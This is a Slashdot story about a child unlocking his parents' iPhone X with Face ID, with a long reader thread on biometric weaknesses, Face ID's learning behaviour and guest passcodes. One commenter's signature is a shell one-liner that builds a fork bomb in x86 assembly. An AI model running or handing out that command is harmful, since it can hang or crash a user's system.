Slashdot Mirror
10-Year-Old Boy Cracks the Face ID On Both Parents' IPhone X (wired.com)
An anonymous reader writes: A 10-year-old boy discovered he could unlock his father's phone just by looking at it. And his mother's phone too. Both parents had just purchased a new $999 iPhone X, and apparently its Face ID couldn't tell his face from theirs. The unlocking happened immediately after the mother told the son that "There's no way you're getting access to this phone."
Experiments suggest the iPhone X was confused by the indoor/nighttime lighting when the couple first registered their faces. Apple's only response was to point to their support page, which states that "the statistical probability is different...among children under the age of 13, because their distinct facial features may not have fully developed. If you're concerned about this, we recommend using a passcode to authenticate." The boy's father is now offering this advice to other parents. "You should probably try it with every member of your family and see who can access it."
And his son just "thought it was hilarious."
Experiments suggest the iPhone X was confused by the indoor/nighttime lighting when the couple first registered their faces. Apple's only response was to point to their support page, which states that "the statistical probability is different...among children under the age of 13, because their distinct facial features may not have fully developed. If you're concerned about this, we recommend using a passcode to authenticate." The boy's father is now offering this advice to other parents. "You should probably try it with every member of your family and see who can access it."
And his son just "thought it was hilarious."
You're looking at the phone wrong, etc., etc., etc........
The password on my $79 android phone seems to keep it safe...
I wonder, can monozygotic twins unlock each other's phones? That would be even more hilarious.
... and on the front too, not the back.
I.e. you need to give people an option for no security, passcode, fingerprint or FaceID and let them decide on what balance of security and convenience they want.
Right now it seems like the industry is either putting fingerprint scanners on the back or omitting them entirely. It's another example of a useful feature being omitted for mostly aesthetic reasons - i.e. bezel-less displays. Of course it saves on component cost too.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It IS hilarious. It's legitimately an odd way to authenticate anyway, and less secure than fingerprints, and way less secure than constantly typing annoying passphrases. It should be no surprise that there's endless ways to fool it.
Cue me asking him why that hilariously overpriced phone then not only implemented it but also announced it as the biggest thing since sliced bread.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Kids as skeleton keys, that would be so funny if it weren't the security desaster it actually is. What remains to be shown now is that a random group of, say, 10 children with no relation to an iPhonX (previous...) owner has a more than 10% chance of unlocking Face ID.
A World in a Grain of Sand / Heaven in a Wild Flower,
Infinity in the Palm of your Hand / And Eternity in an Hour.
"the statistical probability is different...among children under the age of 13, because their distinct facial features may not have fully developed. If you're concerned about this, we recommend using a passcode to authenticate."
So what they're saying is that all you need are a few foam heads with some generic features, and you should be able to unlock any iPhone X out there?
What sort of bullshit security is this? By admitting this, they've basically admitted the entire feature cannot be trusted.
That's scary, that puts your children at risk at being kidnapped or being brought in by aggressive authorities in an attempt to get access to your device. Parents should rather avoid using this feature altogether.
Yep.
Security by obscurity -> defective.
>> "the iPhone X was confused by the indoor/nighttime lighting"
Security by obscurity. Told you so.
aaaaaaa
I can't get on with fingerprint scanners on the front. The back is where my finger naturally lands as I put my hand in my pocket to get my phone out.
The front feels clunky and means I have to use two hands to unlock my phone.
Biometrics are user-ids, not passwords.
There are three aspects to security: something you are, something you know, something you have. Implement two for rudimentary security, implement all three for good security.
- Something you are: User ID, biometrics, or some other public information that serves to identify the person.
- Something you know: Typically a password, used to prove the identity
- Something you have: Second factor, used to prove that the password and identity were not stolen.
Face-ID and fingerprints are insecure and easily fooled.
Enjoy life! This is not a dress rehearsal.
You're not really supposed to "unlock" an iPhoneX. The way FaceID is supposed to work, you pick it up from somewhere and when you instinctively look at the screen, it performs its magic and it's ready, no need to put the right finger on a sensor in the right way, or click on anything. After some time, you're probably going to forget it's actually authenticating you. Unfortunately, while in theory quite convenient, this has several drawbacks in terms of security and usability; it's not really a step forward from fingerprint authentication (that in turn has its problems), more of a step aside.
I found a iPhone X on the floor and unlocked it by mooning it. It was creimer's phone.
I predicted this would be cracked with relative ease, but I had no idea it would crack itself. My prediction was based on FaceID using the exact same tech as Microsoft Hello, which was cracked within days of its release. I was more than a little surprised that FaceID was able to be cracked with only a partial mask, when Hello required a full mask. It could very well be that nobody tried the partial mask against Hello but, either way, this is truly disheartening as many people will rely on the feature as though it is actually secure.
The common defense, of course, is that "they trained it by entering the passcode." On its face, this seems a valid defense, but...
My wife asks me to do things on her phone all the time while she's driving, so she can keep her eyes on the road. I know her passcode so I can do these things, and FaceID tries to scan every time the screen is turned on. That means, intentional or not, if she had an iPhone X with FaceID enabled, I'd be training it to recognize my face every single time I unlocked it using the passcode. Eventually, we'd both be able to unlock it.
Since her and I look nothing alike, the phone would ostensibly unlock for anyone with facial features similar to hers or mine, in varied combinations; possibly even within a range between her facial features and mine. Since we look so different form each other, I would be less than surprised if the odds of a random match were way greater than 1:1,000,000, or even the 1:50,000 odds Apple claims for a random fingerprint match, on a device used in such a manner.
And I wouldn't think that usage pattern is too uncommon; most couples I know who are in healthy relationships ask each other to check messages and whatnot from time to time, which necessitates the sharing of passcodes.
The "learning" aspect of FaceID is its primary weakness. There are solutions, of course, and a proper implementation would apply them.
One possible solution would be a "guest" passcode, which does not trigger the learning mechanism. This could also lock out purchases and changes to certain settings. It would just be a good security measure, in general, regardless of FaceID. But, in the context of FaceID, it would all but solve the PIN/passcode "learning" weakness.
Doesn't do anything for kids or people with siblings, of course. Nor does it do anything for the fact that the 1:1,000,000 claim is explicitly limited to "random matching"; that is, if you pointed the phone at 1,000,000 random people, one of them would unlock it. If you point the phone at 5 people who look a lot like you, one of them will unlock it, as well, and we've seen that borne out in reality. I can take a picture of you as I'm stealing your phone and use it to find 5 people who look enough like you to likely be able to unlock it.
What I can't to is take a picture of you as I steal your phone and use it to find 5 people with similar fingerprints. The 1:50,000 odds are actually stringer than the 1:1,000,000 in this case, because there's no way around the randomness, other than a direct attack on the scanner itself. Of course, that's entirely possible and not all that difficult; but we've also seen that it's entirely possible and not all that difficult to attack FaceID, so the point is relatively moot, anyway.
I'd venture that it's easier to, say, walk down a busy city street with your victim's phone and photo and approach someone who looks similar enough to them and ask "have you seen the new iPhone yet?" as you hold it up to their face... than it is to find a clean enough print and reproduce it accurately enough to fool the fingerprint scanner. That's sad, here, is that the bar for fooling the fingerprint scanner was already too low. Apple must be trying to win a limbo competition with FaceID.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
Between this, the debacle of iOS 11 and the fact that the Mac lines have been languishing under him, it's clear they need to get rid of him.
And no, replacing him with the woman who runs the retail side is not good for the company no matter how good her number is or how desperately they want to put a woman in charge of the richest company in the world.
At this point, they need a Satya Nadella who can actually get in there, balance both product lines, come up with new ones and reacquire alienated Mac users who've said "I'm not buying this unfixable, glorified iPad that costs $2500-$3000 and has last year's specs." (But hey, it's 1mm thinner!)
Just shows how crap face-id really is, and it also shows how Apple has tested this feature... like not..
I tried it out on my girlfriends phone, didn't like it.
Maybe it's because I have always had the scanner on the back and I'm just not used to it. It feels really unnatural.
Criminals will start using children under the age of 13 to unlock iphones... lol
We laugh now, but we all know that next year's (or the year after's) flagship Android phones will have Face ID.
So if it was confused by lighting does that mean apple outright lied how it works? or is that just fanboys trying to make up excuses? if you have something that operates by infrared dots on your face that supposedly works in dark or light how the fuck do you get confused by lighting conditions.
No this is a thread for the Android zealots.
Because the iPhone X had very few problems compared to the other phones that came out around the same time. So we are finding a small number of cases where there are some problems and it is our thread to celibate that our phone that we have purchased for whatever reason we purchased was a good idea and those who didn’t make the same voice are now realizing how wrong they are to oppose your viewpoint.
Or should the Apple Fanboys take a shot at finding all the problems with your phone. I am sure if theu dig down we will find a glitch or flaw to show how stupid we were for getting such a crappy phone and if we were willing to spend some extra money we would have a much better device.
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
Tim Cook's claim that FaceID is 20x more accurate than TouchID was kinda ridiculous. It is a neat technology and from what i hear it works well, but it is impossible to have face recognition that doesn't trigger false positives with relative ease. Telling people there's a one in a million chance that FaceID will mistake someone else face with yours is irresponsible.
So you type on your phone with it laying flat on the desk?
Again this is something that just feels unnatural to me, nearly always hold my phone while typing with one hand.
"one-in-a-million chances crop up nine times out of ten."
--Terry Pratchett
Apple officials said "You are holding it wrong, in this case in front of the wrong person."
Don't fight for your country, if your country does not fight for you.
Because tapping your unlock code was even more work? Or is Android so fucked-up that you had one option or the other, but not both?
There has been numerous articles like this now. Apple has already explained that Face ID stores info about a persons face once a successful PIN code is entered to keep up with the users appearance over time. So whats most likely happened again is that the parents give their phones to their kids to try, the Face ID scan first fails and when the parents then put in the correct PIN code the phone stores information about the kids face together with the parents until eventually it learns to accept the kids face too. Read more here, https://www.theverge.com/2017/...
If your kid can't unlock your iPhone X, maybe you should have a little chat with your wife.
At least the boy now knows, that the mailman ain't his father.
"Anything else you might as well leave your phone unlocked or put a cheap pin on it so that your girlfriend isn't able to view your browser history."
When you've been on Slashdot for more than 10 years, do you get to have a girlfriend?
I've calculated my velocity with such exquisite precision that I have no idea where I am.
And his son just "thought it was hilarious."
well, not only his son, i think it is hilarious as well.
On a long enough timeline, the survival rate for everyone drops to zero.
This is true only if you are a close match to begin with. When a Face ID authentication fails, but is within a small failure threshold, and then the passcode is entered, another measurement is taken for training. The purpose of this is to learn as the face subtly changes, as they do. But if you and your wife are already a close match , and you know and enter the passcode, then it will augment its training from your face.
If you don't know or don't enter the passcode then no training is done.
So yes, this is definitely one more problem (among many) for Apple to solve, but it's not the huge security hole some are making it out to be. For me it's a tremendous convenience and reasonably safe, but if were in a situation where I was truly worried about security then I would disable it.
as long as you don't have a case on the phone.
If you have to ask that then you have squandered your time on this planet.
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
Kernel or user space makes no difference. Attempt to sound smart: EPIC_FAIL
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
I got a new phone a couple months ago & I've still not got around to locking it. I don't have Android pay or whatever set up (these things will make you set up a password). So what? If I lose it or it gets stolen, I call the provider & get the service shut off. It's sure is convenient to use right now. Am I missing something here?
SLOWER TRAFFIC KEEP RIGHT
Think TouchID or FaceID like a lock on your front door. Yes it can be hacked and bypassed. Sometimes in ways you might not expect. It's low grade security. But that isn't the point. The point is to keep out the majority of less determined individuals out while being a reasonable balance between security and convenience for typical usage. If you want greater security there are features (passwords, etc) you can utilize to strengthen the system. Most of the time these are overkill but sometimes they are a very good idea. Anyone expecting TouchID or FaceID to provide iron clad security has incorrect ideas about what they are for and what their limitations are.
It's probably worth trying independently, but supposedly the sensor is capable of depth-mapping so the child would still have to paste a printout of the family portrait onto similarly shaped mannequin head or cardboard frame of some sort.
Lots of conventional light sources also give off IR. Many of the historically more common ones actually give off more IR than visible light. If the software isn't as smart as they claim, I could see how the lights themselves could be confused for part of the sensor's own dot pattern, and possibly lower the accuracy of the reading. I could have told them this myself, but I doubt they would have listened. What really surprises me is the thought that maybe Apple didn't even bother to hire someone who understood light to review this technology.
I've been completely blackballed throughout entire corporations just because of the brand of mouse I chose to buy, or the fact I refuse to use Facebook.
Oh bullshit. No corporation will give a shit about what brand of mouse you use unless you are a flaming asshat about it or somehow manage to violate their corporate IT rules. I don't use Facebook either and I have yet to run into a corporation that gives a shit about that even a little bit. Even if what you say is true that sounds like it is you that is the issue.
If you can't imagine anything in your phone (or not in it, for that matter) that anyone would take offense to, I suggest you either must not use it or you're just really naive.
If you work in a workplace that is THAT hypersensitive then I suggest you find a new and better employer. I can confidently say that there is absolutely nothing on or missing from my phone that I'm even a little worried about my coworkers getting offended over. That would be equally true of every employer I've ever worked for which at my age is quite a few of them. I would have some concerns about them getting access to some banking and financial info but that is the worst of it. Nothing there I'm the least bit embarrassed about including the contents of my emails and correspondence. I'm concerned about serious things like identity theft. That's not to say some people don't have some personal things they need to hide sometimes but if access to your phone is a concern then I suggest you keep such data off your phone.
Big companies generally devolve into popularity contests.
If you think that then I think you have serious social issues that no one here can help you with.
Very quickly I discovered it confused mothers with daughters. When our turn to host the pot-luck comes around, our guests used to gather around, let Picassa lose on the collection and laugh and marvel at the same time about its confusion.
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
Did anyone really expect this to be more than a modern "keypad lock"?
On my first phone, one could lock and unlock the keypad by pressing 0000. This was not security measure, just a way of preventing accidental phone calls.
Face ID is just the modern "keypad lock", the right photo of the person will probably also unlock the phone.
Bizarre as this may seem, the manufacturer of the case I use saw fit to include a cutout for the fingerprint reader.
I see what you did there "relative ease."
Once again, biometrics showing that they are an almost empty shell.
Look at my phone. It Unlocked! You are the father!
Sent from my TARDIS
It's pretty sad that you have no life, as evidenced by the fact that you think that the only thing you would not want them to know about is copulation with co-workers.
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
Are you my Daddy?
Only two things are infinite, the universe and human stupidity, and I'm not sure about the former.
Why would we care?
Face Unlock on Android was broken years ago. Its taken this long for the iSnore to catch up *yawns*.
Calling someone a "hater" only means you can not rationally rebut their argument.
"Which parent does little Ammar look more like?"
LK
"Hi. This is my friend, Jack Shit, and you don't know him." - Lord Kano
Of course, but legally you can, without anything special happening, be compelled to surrender your fingerprints to authorities for any investigation that they deem appropriate, even if you have not been personally convicted of any crime, or even if no crime has actually even occurred. Legally compelling you to surrender your pass code requires going to court first, where you at least have a chance of having a sympathetic judge.
File under 'M' for 'Manic ranting'
We've seen on /. tons of examples of people losing their jobs over their opinions and activities. So it seems like there's a few things outside of work that can cost you your job if someone at the job doesn't like what you do outside of work.
When I worked at Dell, our director made me get rid of my IBM Model M.
Given that Dell sells Dell branded keyboards that's hardly shocking. It's reasonable for companies to like their employees to show some brand loyalty for products they use on the job.
As you need to press the home button on the front to awaken the device in the first place, what is the difference between doing that and having the fingerprint recognizer there?
File under 'M' for 'Manic ranting'
How in the world can DuckDuckGo plausibly claim not to track you when they have a settings system that persists between visits?
File under 'M' for 'Manic ranting'
10y old boy ... aka. Arya Stark?
I don't have to press anything on the front of the device to wake it up, I just put my finger on the fingerprint reader and it unlocks and wakes up.
The solution to that is obvious.... implement a light-sensor switch in the hardware that considers any opening of the case, unless it has previously been expressly authorized, to be equivalent to having failed to enter the correct password after whatever limited number of failed attempts are defined before auto-deletion.
File under 'M' for 'Manic ranting'
I was under the impression that we were talking about iphones here... which still need to be woken up to use, even if you don't have fingerprint detection on.
Is your objection that Apple has put the home button on the front of the device in the first place?
File under 'M' for 'Manic ranting'
This is true only if you are a close match to begin with.
Got a cation for this, other than the same marketing wank that incorrectly claimed this would only be a problem for twins and kids under 13?
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
No they can do what they like! :) I don't own an iPhone for various reasons, one of which being the fingerprint reader is on the front.
To each their own though. That's the best bit about a diverse choice of phones, there's something for everyone. Nexus 5x here and I couldn't be happier with it.
My wife asks me to do things on her phone all the time while she's driving, so she can keep her eyes on the road. I know her passcode so I can do these things, and FaceID tries to scan every time the screen is turned on. That means, intentional or not, if she had an iPhone X with FaceID enabled, I'd be training it to recognize my face every single time I unlocked it using the passcode. Eventually, we'd both be able to unlock it.
One of the problems with the iphone (and Android too) is that it assumes only 1 person will ever unlock it. That can be proven false by merely looking at just about any married couple. You stand as 1 example, I'm a second, and I'm sure there are many many others. In addition, I happen to have an app that allows for multiple users on a single device. The hoops you have to jump through to make that happen are not minor, because the entire phone premise runs along the same lines as DOS/Windows/OS2 (Windows pre NT) There just is no functional multi-user support in phones.
The cesspool just got a check and balance.
Apple claims that the odds of someone being able to unlock your phone with their face is 1 in 1,000,000. That sounds impressive, but with 7.6 billion people in the world, that means there are 7,600 people who can probably unlock your phone. But where do those people probably live? They most likely aren't randomly shuffled throughout the world. They are most likely the people with the same facial features as you - with similar ethnic backgrounds, and very likely, in similar geographic locations. I certainly look similar to the people around me. And I look particular similar to members of my family. I wonder if it would be very difficult for me to intentionally find someone who could unlock the same phone as me.
Android does have the concept of multiple users, and has for a couple major versions at least (I don't recall when I first saw it -- and I've never used it beyond testing it once to see how it functioned) but it really wouldn't help in this instance, anyway. Each user has their own set of accounts and their own storage, so I couldn't ask my wife to, for example, sign in to my phone with her PIN or passcode and check my gmail, as my gmail would be assigned to my user; she'd still need my PIN or passcode for that.
IMO, that make the feature nearly useless (thus why most people don't even seem to know it exists) on a phone, as very few people share a single smartphone, and those who do probably also share accounts. The only legitimate use case I see for this is a half-assed implementation of Kid Mode, and we already have Kid Mode, so... why implement this the way it was implemented?
I mean, I suppose I could give my wife a user account on my phone and set up my gmail and messages and whatnot on it that I might want her to have access to at times, but then I'm storing two copies of everything in already-limited storage and she still can't unlock the phone to change playlists in Pandora without triggering a logout due to multiple logins, as the app would be running under my user.
At least Android gives me that option, though. Where's Apple's implementation? I expect someone to posit that they don't have one because they havne't figured out how to do it right and I expect to agree with whoever says that, if only because I don't believe there is a "right" way to implement multiple user accounts on a phone.
A guest PIN/passcode which allows restricted access to only a subset of apps, features, data, and settings would be ideal on both platforms. Let's wait and see who implements it first. My bet? Neither of them, it would simply be too useful (and cut down on purchases made by kids who no longer have mommy's passcode).
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
>> Fingerprints seem to be pretty good in the real world. The FBI can't seem to crack them. UK security forces can't reliably crack them
That's wrong.
Fingerprints can be reproduced in so many ways it's not even funny.
- from a photo of your fingers 10m away
- from the fingerprints registered in your ID card (depends on your country)
- from the fingerprint you leave on every smooth object you touch, like for example, your smartphone screen
aaaaaaa
The "learning" aspect of FaceID is its primary weakness. There are solutions, of course, and a proper implementation would apply them.
I think you might be right about the "learning" aspect being an unexpected weak point of FaceID.
I also like your idea of the "Guest Passcode", that wouldn't trigger the "Relearn", but that would let the Guest have limited access to run Safari and Maps, and whatever else the owner wishes to grant access to in Settings.
Fortunately, that is something that is relatively easy to fix in software... Hopefully!
iPhones are internally very secure--it's pretty much impossible to crack a locked iPhone with a proper passcode, unless you introduce one of these easy defeat mechanisms into the mix. A gift to the government, perhaps?
No, it's called "We HAVE to get this thing OUT THE DOOR... NOW!"
Not an excuse; but a much more realistic reason that some sort of collusion with the gummint.
Fuck you. It isn't an either/or. You don't need to 'love' your Android phone to despise Apple and their army of little zealots.
You should talk, member of the Army of ANONYMOUS COWARD Apple Haters.
Why would we care?
I don't know; but you so OBVIOUSLY, er, DO.
Jealousy, perhaps? That is the only rational explanation.
I would love to see how FaceId works for people who wear damn near theater makeup every day.
Quite well; since it doesn't use color as part of the identification.
The FaceID debacle (if one wishes to call it that -- it may be a bit extreme of a term) might be what pushes them to finally implement a guest passcode; and Apple implementing it might be what triggers Android to do it. If that happens, an absolutely huge number of people will be thankful for FaceID, whether they know it or not, even if they don't have an iPhone X.
We can hope and dream, right?
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
Android does have the concept of multiple users, and has for a couple major versions at least (I don't recall when I first saw it -- and I've never used it beyond testing it once to see how it functioned) but it really wouldn't help in this instance, anyway. Each user has their own set of accounts and their own storage, so I couldn't ask my wife to, for example, sign in to my phone with her PIN or passcode and check my gmail, as my gmail would be assigned to my user; she'd still need my PIN or passcode for that.
Note I said "no functional multi-user support". I am aware Android has the base concept of multi-user built in, but IIRC that only "works" for a small subset of devices, mostly tablets, again, IIRC.
IMO, that make the feature nearly useless (thus why most people don't even seem to know it exists) on a phone, as very few people share a single smartphone, and those who do probably also share accounts. The only legitimate use case I see for this is a half-assed implementation of Kid Mode, and we already have Kid Mode, so... why implement this the way it was implemented?
Exactly my point regarding the implementation - it basically required me to code all aspects of multi-user into the apps I support, all the way down to basic permissions. It also requires the devices to be configured in a certain way. Managing it is now easy, but it was painful to get here.
At least Android gives me that option, though. Where's Apple's implementation? I expect someone to posit that they don't have one because they havne't figured out how to do it right and I expect to agree with whoever says that, if only because I don't believe there is a "right" way to implement multiple user accounts on a phone.
Apple's "implementation" is even more painful - you can do a multi-user configuration via 100% manual configuration starting with logging yourself out of icloud etc and logging in a second user. To say it is onerous is like saying all you need to be president is a little money an half an opinion.
A guest PIN/passcode which allows restricted access to only a subset of apps, features, data, and settings would be ideal on both platforms. Let's wait and see who implements it first. My bet? Neither of them, it would simply be too useful (and cut down on purchases made by kids who no longer have mommy's passcode).
I agree with you that that would be perfect - it's akin to the admin/user/guest concepts, with ever lower permissions and access. What kills me is that Apple allows you to respond to a text on the lock screen. No security needed. By default. And there's a host of other interesting choices they made under the guise of idiot usability.
The cesspool just got a check and balance.
Sure, but you could do the same thing with google or any search engine.
File under 'M' for 'Manic ranting'
If you're going to exclude Apple's own statements then how could I possibly have a citation? So instead apply some logic. If it weren't true then the cases of false positives would be rampant.
What kills me is that Apple allows you to respond to a text on the lock screen. No security needed. By default.
Not that I did not know! I don't sift through my wife's messages, nor do I text from my iPad, so I'd likely never have learned that had you not just said it. That's... scary. I mean, I have the option with Android, as well, but it's certainly not the default, at least on any device I've ever owned.
I really want to like iOS, but...
there's a host of other interesting choices they made under the guise of idiot usability.
Well, you know why I don't.
I recognize that Android isn't a whole hell of a lot better, but if I have to choose between an insecure system that appears to work the way I want it to (Android) and an insecure system that tries to alter my behavior (iOS), I'm choosing the one that at least pretends to do what I want. My wife's the same way; it's just that iOS happens to work more like what she wants, so that's what she uses. Even she sees what's wrong with the last 3 generations of iPhone, though, and I haven't even been able to get her to look at an iPhone X.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
If you're going to exclude Apple's own statements then how could I possibly have a citation?
Of course I'm going to exclude statements which have been categorically proven false. You could cite someone having actually tested it. Thus far, every time I've seen it tested, failed unlock, enter PIN, next unlock is successful, regardless of how similar or dissimilar the two people happen to be.
So instead apply some logic.
Yes. Let's.
If it weren't true then the cases of false positives would be rampant.
Only among users who happen to enter the correct PIN after a failed face unlock, thereby triggering the learning process.
And, well, guess what: it's pretty damn rampant among those users.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
Oh wow, nice catch. That was actually unintentional.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
The FaceID debacle (if one wishes to call it that -- it may be a bit extreme of a term) might be what pushes them to finally implement a guest passcode; and Apple implementing it might be what triggers Android to do it. If that happens, an absolutely huge number of people will be thankful for FaceID, whether they know it or not, even if they don't have an iPhone X.
We can hope and dream, right?
I have no dreams for Android; but you're right.
I really want to like iOS, but...
there's a host of other interesting choices they made under the guise of idiot usability.
Well, you know why I don't.
I do spend about 15-20 min when I get a phone to set it up the way I want. With iOS 11 that has unfortunately not been 100% possible (I'd love to turn off those stupid control animations across the board - I want to get to where I need to be, not wait on a damn key highlight animation)
I recognize that Android isn't a whole hell of a lot better, but if I have to choose between an insecure system that appears to work the way I want it to (Android) and an insecure system that tries to alter my behavior (iOS), I'm choosing the one that at least pretends to do what I want.
Among my many issues with Android, besides being insecure, is it's utter lack of consistency across versions, devices and vendors. This isn't merely a statement about a minor GUI thing, but more along the lines of being inconsistent the way Microsoft was between Win7->Win8->Win10. Each one varied and changed things underneath, and not for the better. I feel Android is like that, but cubed in its impact. iOS is better, but not enough to say it's "better" outright. There are things they've done under the covers that are absolutely ridiculous but most people never notice. After all, it's more stable in general than Android, even through Marshmallow. But Android is getting better. Slowly.
The cesspool just got a check and balance.
It is? How many cases do you know of? If that true I'd like to know about it. That would change my view.
I'm not out to wage war against the iPhone X so I haven't been compiling a comprehensive list. You can find the examples pretty easily on YouTube, though; if you truly care to be enlightened, you must put forth some of the effort yourself. If I do it for you, it just comes of as an attack on Apple and, well, that's just silly.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
...let me know.